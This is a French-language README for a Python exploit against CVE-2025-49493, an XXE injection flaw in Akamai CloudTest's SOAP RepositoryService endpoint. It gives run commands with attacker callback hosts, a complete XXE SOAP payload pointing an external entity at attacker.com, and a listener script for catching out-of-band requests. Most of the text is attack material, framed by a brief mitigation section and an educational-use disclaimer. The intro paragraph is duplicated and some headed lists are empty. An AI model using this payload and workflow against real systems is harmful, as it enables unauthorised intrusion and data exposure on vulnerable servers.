
Ceci est un exploit basé sur Python pour CVE-2025-49493, qui affecte les versions d'Akamai CloudTest antérieures à 60 2025.06.02 (12988). La vulnérabilité permet une injection d'entité externe XML (XXE) via le point de terminaison du service SOAP.
Il s'agit d'un exploit basé sur Python pour CVE-2025-49493, qui affecte les versions d'Akamai CloudTest antérieures à 60 2025.06.02 (12988). La vulnérabilité permet l'injection d'entités externes XML (XXE) via le point de terminaison du service SOAP.
La vulnérabilité existe dans le point de terminaison SOAP /concerto/services/RepositoryService où l'entrée XML est traitée sans désinfection appropriée des entités externes. Un attaquant peut élaborer des charges utiles XML malveillantes pour déclencher des attaques XXE, pouvant conduire à :
Installer les paquets requis :
pip install -r requirements.txt
Ou installer manuellement :
pip install requests urllib3 colored pyfiglet
python main.py targets.txt xxe.attacker.com
# Avec un délai d'expiration personnalisé
python main.py targets.txt collaborator.burp.com --timeout 20
# Utilisation d'interactsh pour la détection OOB
python main.py targets.txt attacker.interactsh.com
arguments positionnels :
targets Fichier de cibles contenant la liste des hôtes Akamai CloudTest
xxe_server Serveur XXE pour capturer les requêtes (ex. : attacker.com ou IP)
arguments optionnels :
-h, --help affiche ce message d'aide et quitte
--timeout TIMEOUT Délai d'expiration de la requête en secondes (par défaut : 10)
Créez un fichier targets.txt avec une cible par ligne :
https://example-cloudtest.akamai.com
https://demo-cloudtest.example.com
https://test-cloudtest.internal.company.com
https://cloudtest.example.org
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latestinteractsh-clientMettez en place un serveur HTTP simple pour capturer les requêtes :
# simple_server.py
import http.server
import socketserver
class RequestHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
print(f"XXE Request received: {self.path}")
print(f"Headers: {self.headers}")
super().do_GET()
with socketserver.TCPServer(("", 8000), RequestHandler) as httpd:
print("Server running on port 8000")
httpd.serve_forever()
L'exploit utilise la structure de charge utile XXE suivante :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soapenv:Envelope [
<!ENTITY xxe SYSTEM "http://attacker.com">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:rep="http://example.com/services/repository">
<soapenv:Header/>
<soapenv:Body>
<rep:getUIBundleObjectXml>
<rep:uiBundleRequestXml>&xxe;</rep:uiBundleRequestXml>
</rep:getUIBundleObjectXml>
</soapenv:Body>
</soapenv:Envelope>
Actions immédiates :
Solutions à long terme :
Traitement XML sécurisé :
# Disable external entities in XML parsers
import xml.etree.ElementTree as ET
parser = ET.XMLParser()
parser.parser.DefaultHandler = lambda data: None
parser.parser.ExternalEntityRefHandler = lambda *args: False
Validation des entrées :
Cet outil est fourni uniquement à des fins éducatives et de tests autorisés. Les utilisateurs sont responsables de s'assurer qu'ils disposent des autorisations appropriées avant de tester tout système. Les auteurs ne sont pas responsables de toute utilisation abusive ou des dommages causés par cet outil.
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.